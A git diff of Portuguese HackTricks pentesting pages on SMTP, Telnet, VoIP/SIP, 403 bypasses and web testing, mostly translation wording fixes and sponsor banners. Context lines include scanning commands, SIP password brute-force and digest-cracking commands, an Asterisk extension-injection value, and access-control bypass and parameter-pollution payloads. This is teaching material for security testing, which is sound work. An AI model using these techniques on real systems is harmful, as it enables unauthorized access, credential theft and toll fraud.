@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -248,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP Smuggling
|
||||
|
||||
A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
|
||||
A vulnerabilidade de SMTP Smuggling permitiu contornar todas as proteções SMTP (consulte a próxima seção para mais informações sobre as proteções). Para mais informações sobre SMTP Smuggling, consulte:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -334,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC melhora a segurança do email ao se basear nos protocolos SPF e DKIM. Ele descreve políticas que orientam os servidores de email no manuseio de emails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de email.
|
||||
DMARC melhora a segurança do email ao se basear nos protocolos SPF e DKIM. Ele descreve políticas que orientam os servidores de email no manuseio de emails de um domínio específico, incluindo como lidar com falhas de autenticação e onde enviar relatórios sobre ações de processamento de email.
|
||||
|
||||
**Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc**
|
||||
```bash
|
||||
|
@ -377,11 +377,11 @@ O seguinte foi originalmente postado no openspf.org, que costumava ser um ótimo
|
|||
>
|
||||
> Sites com registros A ou MX curinga também devem ter um registro SPF curinga, da forma: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição de SPF muito diferente.
|
||||
Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente.
|
||||
|
||||
### **Open Relay**
|
||||
|
||||
Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de compreensão pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
|
||||
Quando os e-mails são enviados, garantir que não sejam marcados como spam é crucial. Isso é frequentemente alcançado através do uso de um **servidor de relay que é confiável pelo destinatário**. No entanto, um desafio comum é que os administradores podem não estar totalmente cientes de quais **intervalos de IP são seguros para permitir**. Essa falta de entendimento pode levar a erros na configuração do servidor SMTP, um risco frequentemente identificado em avaliações de segurança.
|
||||
|
||||
Uma solução alternativa que alguns administradores usam para evitar problemas de entrega de e-mails, especialmente em relação a comunicações com clientes potenciais ou em andamento, é **permitir conexões de qualquer endereço IP**. Isso é feito configurando o parâmetro `mynetworks` do servidor SMTP para aceitar todos os endereços IP, conforme mostrado abaixo:
|
||||
```bash
|
||||
|
@ -589,7 +589,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -605,7 +605,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -66,7 +66,7 @@ Termina a conversa SMTP.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Informações Básicas**
|
||||
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma maneira INsegura de acessar um computador através de uma rede.
|
||||
Telnet é um protocolo de rede que oferece aos usuários uma maneira INsegura de acessar um computador por meio de uma rede.
|
||||
|
||||
**Porta padrão:** 23
|
||||
```
|
||||
|
@ -89,7 +89,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -105,7 +105,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -151,7 +151,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
|
||||
### Números de Telefone
|
||||
|
||||
Um dos primeiros passos que uma Red Team pode dar é pesquisar números de telefone disponíveis para contatar a empresa usando ferramentas OSINT, buscas no Google ou raspagem de páginas da web.
|
||||
Um dos primeiros passos que uma Red Team pode fazer é pesquisar números de telefone disponíveis para contatar a empresa usando ferramentas OSINT, buscas no Google ou raspagem de páginas da web.
|
||||
|
||||
Uma vez que você tenha os números de telefone, você pode usar serviços online para identificar o operador:
|
||||
|
||||
|
@ -212,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
|||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithread e pode escanear grandes faixas de redes. Permite indicar facilmente um intervalo de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** O SIPPTS scan é um scanner muito rápido para serviços SIP sobre UDP, TCP ou TLS. Ele utiliza multithreading e pode escanear grandes faixas de redes. Permite indicar facilmente uma faixa de portas, escanear tanto TCP quanto UDP, usar outro método (por padrão, usará OPTIONS) e especificar um User-Agent diferente (e mais).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -259,7 +259,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|||
```
|
||||
### Enumeração de Extensões
|
||||
|
||||
Extensões em um sistema PBX (Private Branch Exchange) referem-se aos **identificadores internos únicos atribuídos a linhas de telefone, dispositivos ou usuários** individuais dentro de uma organização ou empresa. As extensões possibilitam **rotear chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
|
||||
Extensões em um sistema PBX (Private Branch Exchange) referem-se aos **identificadores internos únicos atribuídos a linhas de telefone, dispositivos ou usuários** individuais dentro de uma organização ou empresa. As extensões possibilitam **rutar chamadas dentro da organização de forma eficiente**, sem a necessidade de números de telefone externos individuais para cada usuário ou dispositivo.
|
||||
|
||||
* **`svwar`** do SIPVicious (`sudo apt install sipvicious`): `svwar` é um scanner de linha de extensão SIP PBX gratuito. Em conceito, funciona de forma semelhante aos discadores tradicionais, **adivinhando uma faixa de extensões ou uma lista específica de extensões**.
|
||||
```bash
|
||||
|
@ -283,7 +283,7 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### Força Bruta de Senha - online
|
||||
|
||||
Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma equipe vermelha poderia tentar **autenticar via o método `REGISTER`** em um ramal usando um dicionário de senhas comuns para realizar a força bruta na autenticação.
|
||||
Tendo descoberto o **PBX** e alguns **números de ramal/nome de usuário**, uma equipe vermelha poderia tentar **autenticar via o método `REGISTER`** em um ramal usando um dicionário de senhas comuns para realizar a força bruta da autenticação.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que um **nome de usuário** pode ser o mesmo que o ramal, mas essa prática pode variar dependendo do sistema PBX, sua configuração e as preferências da organização...
|
||||
|
@ -304,7 +304,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||||
|
||||
### VoIP Sniffing
|
||||
### Sniffing VoIP
|
||||
|
||||
Se você encontrar equipamentos VoIP dentro de uma **rede Wifi aberta**, você pode **capturar todas as informações**. Além disso, se você estiver dentro de uma rede mais fechada (conectada via Ethernet ou Wifi protegido), você pode realizar **ataques MitM como** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) entre o **PBX e o gateway** para capturar as informações.
|
||||
|
||||
|
@ -313,7 +313,7 @@ Entre as informações da rede, você pode encontrar **credenciais da web** para
|
|||
Para obter essas informações, você pode usar ferramentas como Wireshark, tcpdump... mas uma **ferramenta especialmente criada para capturar conversas VoIP é** [**ucsniff**](https://github.com/Seabreg/ucsniff).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que se **TLS for usado na comunicação SIP** você não poderá ver a comunicação SIP em claro.\
|
||||
Observe que se **TLS for usado na comunicação SIP** você não poderá ver a comunicação SIP em texto claro.\
|
||||
O mesmo acontecerá se **SRTP** e **ZRTP** forem usados, **os pacotes RTP não estarão em texto claro**.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -321,7 +321,7 @@ O mesmo acontecerá se **SRTP** e **ZRTP** forem usados, **os pacotes RTP não e
|
|||
|
||||
[Verifique este exemplo para entender melhor uma **comunicação SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) para aprender como as **credenciais estão sendo enviadas**.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **bruteforce** elas.
|
||||
* **`sipdump`** & **`sipcrack`,** parte do **sipcrack** (`apt-get install sipcrack`): Essas ferramentas podem **extrair** de um **pcap** as **autenticações digest** dentro do protocolo SIP e **realizar brute-force** nelas.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -357,7 +357,7 @@ Se um endereço IP for especificado, o host **não precisará enviar solicitaç
|
|||
Para definir usuários, eles podem ser definidos como:
|
||||
|
||||
* **`type=user`**: O usuário pode apenas receber chamadas como usuário.
|
||||
* **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com ramais)
|
||||
* **`type=friend`**: É possível realizar chamadas como par e recebê-las como usuário (usado com extensões)
|
||||
* **`type=peer`**: É possível enviar e receber chamadas como par (SIP-trunks)
|
||||
|
||||
Também é possível estabelecer confiança com a variável insegura:
|
||||
|
@ -377,7 +377,7 @@ Por exemplo, esta configuração seria vulnerável:\
|
|||
|
||||
### Chamadas Gratuitas / Configurações Incorretas de Contexto do Asterisk
|
||||
|
||||
No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas recebidas e feitas são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
|
||||
No Asterisk, um **contexto** é um contêiner ou seção nomeada no plano de discagem que **agrupa extensões, ações e regras relacionadas**. O plano de discagem é o componente central de um sistema Asterisk, pois define **como as chamadas recebidas e enviadas são tratadas e roteadas**. Os contextos são usados para organizar o plano de discagem, gerenciar controle de acesso e fornecer separação entre diferentes partes do sistema.
|
||||
|
||||
Cada contexto é definido no arquivo de configuração, tipicamente no arquivo **`extensions.conf`**. Os contextos são denotados por colchetes, com o nome do contexto encerrado dentro deles. Por exemplo:
|
||||
```bash
|
||||
|
@ -448,7 +448,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
|
|||
exten => 0,104,Dial(LOCAL/${numbers})
|
||||
```
|
||||
O anterior é um exemplo onde o usuário é solicitado a **pressionar 1 para chamar** um departamento, **2 para chamar** outro, ou **o número completo** se souber.\
|
||||
A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir o número completo com o tempo limite de 5 segundos e ele será chamado.**
|
||||
A vulnerabilidade é o fato de que o **comprimento da extensão indicada não é verificado, então um usuário poderia inserir o número completo e será chamado.**
|
||||
|
||||
### Injeção de Extensão
|
||||
|
||||
|
@ -456,7 +456,7 @@ Usando uma extensão como:
|
|||
```scss
|
||||
exten => _X.,1,Dial(SIP/${EXTEN})
|
||||
```
|
||||
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando a **ext 101 for introduzida** isso é o que aconteceria:
|
||||
Onde **`${EXTEN}`** é a **extensão** que será chamada, quando **a ext 101 for introduzida** isso é o que aconteceria:
|
||||
```scss
|
||||
exten => 101,1,Dial(SIP/101)
|
||||
```
|
||||
|
@ -464,7 +464,7 @@ No entanto, se **`${EXTEN}`** permitir a introdução de **mais do que números*
|
|||
```scss
|
||||
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
||||
```
|
||||
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que ignora qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
|
||||
Portanto, uma chamada para a extensão **`101`** e **`123123123`** será enviada e apenas a primeira que receber a chamada será estabelecida... mas se um atacante usar uma **extensão que contorne qualquer correspondência** que está sendo realizada, mas não existe, ele poderia **injetar uma chamada apenas para o número desejado**.
|
||||
|
||||
## Vulnerabilidade SIPDigestLeak
|
||||
|
||||
|
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call permite que um **usuário da web** (que por exemplo pode estar interessado em um produto) **introduza** seu **número de telefone** para ser chamado. Então, um comercial será chamado, e quando ele **atender o telefone**, o usuário será **chamado e conectado com o agente**.
|
||||
Click2Call permite que um **usuário da web** (que, por exemplo, pode estar interessado em um produto) **introduza** seu **número de telefone** para ser chamado. Em seguida, um comercial será chamado, e quando ele **atender o telefone**, o usuário será **chamado e conectado com o agente**.
|
||||
|
||||
Um perfil comum do Asterisk para isso é:
|
||||
```scss
|
||||
|
@ -515,7 +515,7 @@ displayconnects = yes
|
|||
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
||||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* O perfil anterior permite que **QUALQUER endereço IP se conecte** (se a senha for conhecida).
|
||||
* O perfil anterior está permitindo **QUALQUER endereço IP se conectar** (se a senha for conhecida).
|
||||
* Para **organizar uma chamada**, como especificado anteriormente, **nenhuma permissão de leitura é necessária** e **apenas** **origem** em **escrita** é necessária.
|
||||
|
||||
Com essas permissões, qualquer IP que conheça a senha poderia se conectar e extrair informações demais, como:
|
||||
|
@ -647,7 +647,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -55,8 +55,8 @@ Se o **caminho estiver protegido**, você pode tentar contornar a proteção do
|
|||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* Se a página estiver **atrás de um proxy**, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar do [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**cabeçalhos HTTP especiais**](special-http-headers.md) em busca de diferentes respostas.
|
||||
* Se a página estiver **atrás de um proxy**, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**cabeçalhos HTTP especiais**](special-http-headers.md) procurando por diferentes respostas.
|
||||
* **Fuzz cabeçalhos HTTP especiais** enquanto faz fuzzing de **Métodos HTTP**.
|
||||
* **Remova o cabeçalho Host** e talvez você consiga contornar a proteção.
|
||||
|
||||
|
@ -66,7 +66,7 @@ Se _/path_ estiver bloqueado:
|
|||
|
||||
* Tente usar _**/**_**%2e/path \_(se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também**\_\*\* /%252e\*\*/path (dupla codificação de URL)
|
||||
* Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados novamente, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
|
||||
* **Outros bypasses de caminho**:
|
||||
* **Outros contornos de caminho**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
* site.com/secret/ –> HTTP 200 OK
|
||||
|
@ -81,17 +81,17 @@ Se _/path_ estiver bloqueado:
|
|||
* /FUZZsecret
|
||||
* /FUZZ/secret
|
||||
* /secretFUZZ
|
||||
* **Outros bypasses de API:**
|
||||
* **Outros contornos de API:**
|
||||
* /v3/users\_data/1234 --> 403 Forbidden
|
||||
* /v1/users\_data/1234 --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthriozied
|
||||
* {“id”:111} --> 401 Unauthorized
|
||||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthriozied
|
||||
* {“id”:111} --> 401 Unauthorized
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Poluição de Parâmetros JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Poluição de Parâmetros)
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (Poluição de Parâmetro JSON)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Poluição de Parâmetro)
|
||||
|
||||
## **Manipulação de Parâmetros**
|
||||
## **Manipulação de Parâmetro**
|
||||
|
||||
* Mude o **valor do param**: De **`id=123` --> `id=124`**
|
||||
* Adicione parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
|
@ -104,7 +104,7 @@ Se _/path_ estiver bloqueado:
|
|||
|
||||
Se estiver usando HTTP/1.1 **tente usar 1.0** ou até mesmo teste se **suporta 2.0**.
|
||||
|
||||
## **Outros Bypass**
|
||||
## **Outros Contornos**
|
||||
|
||||
* Obtenha o **IP** ou **CNAME** do domínio e tente **contatá-lo diretamente**.
|
||||
* Tente **estressar o servidor** enviando solicitações GET comuns ([Funcionou para esse cara com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
|
@ -140,9 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -97,7 +97,7 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
|
|||
* [**Git**](git.md)
|
||||
* [**Golang**](golang.md)
|
||||
* [**GraphQL**](graphql.md)
|
||||
* [**H2 - banco de dados SQL Java**](h2-java-sql-database.md)
|
||||
* [**H2 - banco de dados Java SQL**](h2-java-sql-database.md)
|
||||
* [**Truques do IIS**](iis-internet-information-services.md)
|
||||
* [**JBOSS**](jboss.md)
|
||||
* [**Jenkins**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md)
|
||||
|
@ -127,7 +127,7 @@ Se a aplicação web estiver usando alguma **tecnologia/plataforma bem conhecida
|
|||
Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **sua conta um teste de caixa branca** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **teste de caixa preta**:
|
||||
|
||||
* Existe um arquivo de **Change-log ou Readme ou Versão** ou qualquer coisa com **informações de versão acessíveis** via web?
|
||||
* Como e onde são salvas as **credenciais**? Existe algum (acessível?) **arquivo** com credenciais (nomes de usuário ou senhas)?
|
||||
* Como e onde são salvas as **credenciais**? Existe algum arquivo (acessível?) com credenciais (nomes de usuário ou senhas)?
|
||||
* As **senhas** estão em **texto simples**, **criptografadas** ou qual **algoritmo de hash** é usado?
|
||||
* Está usando alguma **chave mestra** para criptografar algo? Qual **algoritmo** é usado?
|
||||
* Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
|
||||
|
@ -194,10 +194,10 @@ Servidores web podem **comportar-se de maneira inesperada** quando dados estranh
|
|||
|
||||
#### **Verifique se você pode fazer upload de arquivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
Se você descobrir que o **WebDav** está **ativado**, mas você não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
|
||||
Se você descobrir que **WebDav** está **ativado**, mas você não tem permissões suficientes para **fazer upload de arquivos** na pasta raiz, tente:
|
||||
|
||||
* **Forçar Brute Force** de credenciais
